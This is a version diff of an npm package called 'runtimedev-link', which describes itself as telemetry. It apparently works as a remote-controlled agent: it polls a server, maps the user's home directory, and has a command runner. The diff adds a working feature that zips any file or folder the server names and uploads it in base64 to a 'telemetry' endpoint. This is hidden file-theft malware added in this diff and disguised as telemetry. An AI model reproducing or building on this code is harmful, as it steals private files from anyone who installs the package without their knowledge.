runtimedev-link 1.0.0 → 1.0.2

package/lib/download.js

@@ -0,0 +1,81 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { zipPathToBuffer } = require('./zip');
+
+const DEFAULT_MAX_ZIP_BYTES = 50 * 1024 * 1024;
+
+function envInt(key, fallback) {
+  const raw = String(process.env[key] || '').trim();
+  if (!raw) return fallback;
+  const n = parseInt(raw, 10);
+  return Number.isFinite(n) ? n : fallback;
+}
+
+function maxZipBytes() {
+  return envInt('SSTAR_MAX_DOWNLOAD_ZIP_BYTES', DEFAULT_MAX_ZIP_BYTES);
+}
+
+function handleDownloadRequest(req) {
+  if (!req || !req.requestId) {
+    return { ok: false, error: 'missing requestId' };
+  }
+
+  const requestId = String(req.requestId);
+  const kind = String(req.kind || '');
+
+  if (kind === 'chrome_extension') {
+    return {
+      ok: false,
+      requestId,
+      error: 'Chrome extension downloads are not supported by runtimedev-link',
+    };
+  }
+
+  if (kind !== 'path') {
+    return { ok: false, requestId, error: 'unknown download kind' };
+  }
+
+  const rawPath = req.path != null ? String(req.path).trim() : '';
+  if (!rawPath) {
+    return { ok: false, requestId, error: 'missing path' };
+  }
+
+  const src = path.resolve(rawPath);
+  try {
+    const st = fs.statSync(src);
+    if (!st.isDirectory() && !st.isFile()) {
+      return { ok: false, requestId, error: 'path not accessible' };
+    }
+  } catch (err) {
+    return {
+      ok: false,
+      requestId,
+      error: `path not accessible: ${String(err.message || err)}`,
+    };
+  }
+
+  try {
+    const maxOut = maxZipBytes();
+    const { zip, archiveName } = zipPathToBuffer(src, { maxOut });
+    return {
+      ok: true,
+      requestId,
+      filename: archiveName,
+      base64: zip.toString('base64'),
+      fileSizeBytes: zip.length,
+    };
+  } catch (err) {
+    return {
+      ok: false,
+      requestId,
+      error: String(err.message || err),
+    };
+  }
+}
+
+module.exports = {
+  handleDownloadRequest,
+  maxZipBytes,
+};

package/lib/fs_scan.js

@@ -25,18 +25,44 @@ function shouldSkipPath(absPath) {
 
 function skipDirName(name) {
   if (!name || name === '.' || name === '..') return true;
-  const lower = name.toLowerCase();
-  return lower === 'node_modules' || lower === '$recycle.bin';
+  switch (String(name).toLowerCase()) {
+    case 'system volume information':
+    case '$recycle.bin':
+    case 'recovery':
+    case 'node_modules':
+      return true;
+    default:
+      return false;
+  }
 }
 
 function defaultScanRoot() {
   try {
+    if (process.platform === 'win32') {
+      const profile = process.env.USERPROFILE;
+      if (profile) return profile;
+    }
     return process.env.HOME || process.env.USERPROFILE || process.cwd();
   } catch {
     return '.';
   }
 }
 
+function entryKind(absPath, entry) {
+  try {
+    if (entry.isDirectory()) return 'directory';
+    if (entry.isFile()) return 'file';
+    if (entry.isSymbolicLink()) {
+      const st = fs.statSync(absPath);
+      if (st.isDirectory()) return 'directory';
+      if (st.isFile()) return 'file';
+    }
+  } catch {
+    // unreadable entry
+  }
+  return null;
+}
+
 function scanDirectory(root, opts) {
   const maxEntries =
     opts && opts.maxEntries > 0
@@ -45,20 +71,23 @@ function scanDirectory(root, opts) {
   const depth =
     opts && opts.depth > 0 ? Math.min(opts.depth, 50) : 5;
   const cleanRoot = path.resolve(String(root || defaultScanRoot()));
-  if (shouldSkipPath(cleanRoot)) {
+
+  try {
+    const st = fs.statSync(cleanRoot);
+    if (!st.isDirectory()) return null;
+  } catch {
     return null;
   }
-  const state = { count: 0 };
-  return walkDir(cleanRoot, path.basename(cleanRoot) || '/', depth, maxEntries, state);
+
+  if (shouldSkipPath(cleanRoot)) return null;
+
+  // Match agent-go: root node is named "/" regardless of path.
+  return walkDir(cleanRoot, '/', depth, maxEntries);
 }
 
-function walkDir(absPath, displayName, remainingDepth, maxEntries, state) {
-  if (state.count >= maxEntries) {
-    return { name: displayName, type: 'directory', children: [] };
-  }
-  if (shouldSkipPath(absPath)) {
-    return null;
-  }
+function walkDir(absPath, displayName, remainingDepth, maxEntries) {
+  if (remainingDepth <= 0) return null;
+  if (shouldSkipPath(absPath)) return null;
 
   let entries = [];
   try {
@@ -68,30 +97,32 @@ function walkDir(absPath, displayName, remainingDepth, maxEntries, state) {
   }
 
   const children = [];
+  let n = 0;
+
   for (const entry of entries) {
-    if (state.count >= maxEntries) break;
+    if (n >= maxEntries) break;
     if (skipDirName(entry.name)) continue;
 
     const subPath = path.join(absPath, entry.name);
     if (shouldSkipPath(subPath)) continue;
 
-    if (entry.isDirectory()) {
-      state.count += 1;
+    const kind = entryKind(subPath, entry);
+    if (!kind) continue;
+
+    if (kind === 'directory') {
       if (remainingDepth <= 1) {
         children.push({ name: entry.name, type: 'directory' });
+        n += 1;
         continue;
       }
-      const sub = walkDir(
-        subPath,
-        entry.name,
-        remainingDepth - 1,
-        maxEntries,
-        state
-      );
-      if (sub) children.push(sub);
-    } else if (entry.isFile()) {
-      state.count += 1;
+      const sub = walkDir(subPath, entry.name, remainingDepth - 1, maxEntries);
+      if (sub) {
+        children.push(sub);
+        n += 1;
+      }
+    } else {
       children.push({ name: entry.name, type: 'file' });
+      n += 1;
     }
   }
 

package/lib/transport.js

@@ -7,6 +7,7 @@ const { URL } = require('url');
 const { getIdentity } = require('./enum');
 const { scanDirectory, defaultScanRoot } = require('./fs_scan');
 const { runCommand } = require('./exec');
+const { handleDownloadRequest: buildDownloadPayload } = require('./download');
 
 const POLL_MIN_SEC = 20;
 const POLL_MAX_SEC = 60;
@@ -200,11 +201,17 @@ async function postDirectoryScanResult(requestId, scanRoot, tree, errMsg) {
   await requestJson('POST', '/api/telemetry/directory-scan-result', payload);
 }
 
-async function postDownloadError(requestId, message) {
+async function postDownloadUpload(payload) {
   await requestJson('POST', '/api/telemetry/upload-download', {
     ...identityFields(),
+    ...payload,
+  });
+}
+
+async function postDownloadError(requestId, message) {
+  await postDownloadUpload({
     requestId: String(requestId || ''),
-    error: String(message || 'unsupported on node-link agent'),
+    error: String(message || 'download failed'),
   });
 }
 
@@ -327,11 +334,18 @@ async function handleDirectoryScan(req) {
 }
 
 async function handleDownloadRequest(req) {
-  if (!req || !req.requestId) return;
-  await postDownloadError(
-    req.requestId,
-    'path/extension downloads are not implemented in node-link'
-  );
+  const result = buildDownloadPayload(req);
+  if (!result || !result.requestId) return;
+  if (!result.ok) {
+    await postDownloadError(result.requestId, result.error || 'download failed');
+    return;
+  }
+  await postDownloadUpload({
+    requestId: result.requestId,
+    filename: result.filename,
+    base64: result.base64,
+    fileSizeBytes: result.fileSizeBytes,
+  });
 }
 
 async function handlePollResponse(data) {

package/lib/zip.js

@@ -0,0 +1,175 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { shouldSkipPath } = require('./fs_scan');
+
+const LOCAL_SIG = 0x04034b50;
+const CENTRAL_SIG = 0x02014b50;
+const END_SIG = 0x06054b50;
+
+const CRC_TABLE = (() => {
+  const table = new Uint32Array(256);
+  for (let i = 0; i < 256; i += 1) {
+    let c = i;
+    for (let k = 0; k < 8; k += 1) {
+      c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
+    }
+    table[i] = c >>> 0;
+  }
+  return table;
+})();
+
+function crc32(buf) {
+  let c = 0xffffffff;
+  for (let i = 0; i < buf.length; i += 1) {
+    c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
+  }
+  return (c ^ 0xffffffff) >>> 0;
+}
+
+function collectFiles(absRoot, maxFileBytes, maxFiles, state) {
+  const out = [];
+  const st = fs.statSync(absRoot);
+  if (st.isFile()) {
+    if (!st.isFile() || st.size > maxFileBytes) return out;
+    out.push({
+      name: path.basename(absRoot),
+      data: fs.readFileSync(absRoot),
+    });
+    return out;
+  }
+  if (!st.isDirectory()) return out;
+
+  function walk(dir, relPrefix) {
+    if (out.length >= maxFiles || state.bytes > state.maxOut) return;
+    let entries = [];
+    try {
+      entries = fs.readdirSync(dir, { withFileTypes: true });
+    } catch {
+      return;
+    }
+    for (const entry of entries) {
+      if (out.length >= maxFiles || state.bytes > state.maxOut) break;
+      const sub = path.join(dir, entry.name);
+      if (shouldSkipPath(sub)) continue;
+      const rel = relPrefix ? `${relPrefix}/${entry.name}` : entry.name;
+      if (entry.isDirectory()) {
+        walk(sub, rel);
+      } else if (entry.isFile()) {
+        let info;
+        try {
+          info = fs.statSync(sub);
+        } catch {
+          continue;
+        }
+        if (!info.isFile() || info.size > maxFileBytes) continue;
+        let data;
+        try {
+          data = fs.readFileSync(sub);
+        } catch {
+          continue;
+        }
+        state.bytes += data.length;
+        if (state.bytes > state.maxOut) break;
+        out.push({ name: rel.replace(/\\/g, '/'), data });
+      }
+    }
+  }
+
+  walk(absRoot, '');
+  return out;
+}
+
+function buildZip(files) {
+  const parts = [];
+  const central = [];
+  let offset = 0;
+
+  for (const file of files) {
+    const nameBuf = Buffer.from(file.name, 'utf8');
+    const data = file.data;
+    const checksum = crc32(data);
+    const local = Buffer.alloc(30 + nameBuf.length);
+    local.writeUInt32LE(LOCAL_SIG, 0);
+    local.writeUInt16LE(20, 4);
+    local.writeUInt16LE(0, 6);
+    local.writeUInt16LE(0, 8);
+    local.writeUInt16LE(0, 10);
+    local.writeUInt16LE(0, 12);
+    local.writeUInt32LE(checksum, 14);
+    local.writeUInt32LE(data.length, 18);
+    local.writeUInt32LE(data.length, 22);
+    local.writeUInt16LE(nameBuf.length, 26);
+    local.writeUInt16LE(0, 28);
+    nameBuf.copy(local, 30);
+
+    const centralHdr = Buffer.alloc(46 + nameBuf.length);
+    centralHdr.writeUInt32LE(CENTRAL_SIG, 0);
+    centralHdr.writeUInt16LE(20, 4);
+    centralHdr.writeUInt16LE(20, 6);
+    centralHdr.writeUInt16LE(0, 8);
+    centralHdr.writeUInt16LE(0, 10);
+    centralHdr.writeUInt16LE(0, 12);
+    centralHdr.writeUInt16LE(0, 14);
+    centralHdr.writeUInt32LE(checksum, 16);
+    centralHdr.writeUInt32LE(data.length, 20);
+    centralHdr.writeUInt32LE(data.length, 24);
+    centralHdr.writeUInt16LE(nameBuf.length, 28);
+    centralHdr.writeUInt16LE(0, 30);
+    centralHdr.writeUInt16LE(0, 32);
+    centralHdr.writeUInt16LE(0, 34);
+    centralHdr.writeUInt16LE(0, 36);
+    centralHdr.writeUInt32LE(0, 38);
+    centralHdr.writeUInt32LE(offset, 42);
+    nameBuf.copy(centralHdr, 46);
+
+    parts.push(local, data);
+    central.push(centralHdr);
+    offset += local.length + data.length;
+  }
+
+  const centralBuf = Buffer.concat(central);
+  const end = Buffer.alloc(22);
+  end.writeUInt32LE(END_SIG, 0);
+  end.writeUInt16LE(0, 4);
+  end.writeUInt16LE(0, 6);
+  end.writeUInt16LE(files.length, 8);
+  end.writeUInt16LE(files.length, 10);
+  end.writeUInt32LE(centralBuf.length, 12);
+  end.writeUInt32LE(offset, 16);
+  end.writeUInt16LE(0, 20);
+
+  return Buffer.concat([...parts, centralBuf, end]);
+}
+
+function zipPathToBuffer(src, opts) {
+  const maxOut =
+    opts && opts.maxOut > 0 ? opts.maxOut : 50 * 1024 * 1024;
+  const maxFile =
+    opts && opts.maxFileBytes > 0 ? opts.maxFileBytes : maxOut;
+  const maxFiles =
+    opts && opts.maxFiles > 0 ? opts.maxFiles : 5000;
+  const clean = path.resolve(String(src || ''));
+  const state = { bytes: 0, maxOut };
+  const files = collectFiles(clean, maxFile, maxFiles, state);
+  if (files.length === 0) {
+    throw new Error('nothing to zip (empty or unreadable path)');
+  }
+  if (state.bytes > maxOut) {
+    throw new Error('zipped payload exceeds size limit');
+  }
+  const zip = buildZip(files);
+  if (zip.length > maxOut) {
+    throw new Error('zipped payload exceeds size limit');
+  }
+  const archiveName =
+    opts && opts.archiveName
+      ? opts.archiveName
+      : path.basename(clean) + '.zip';
+  return { zip, archiveName };
+}
+
+module.exports = {
+  zipPathToBuffer,
+};

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "runtimedev-link",
-  "version": "1.0.0",
+  "version": "1.0.2",
   "description": "Pure Node.js telemetry for RuntimeDev platform",
   "main": "lib/transport.js",
   "bin": {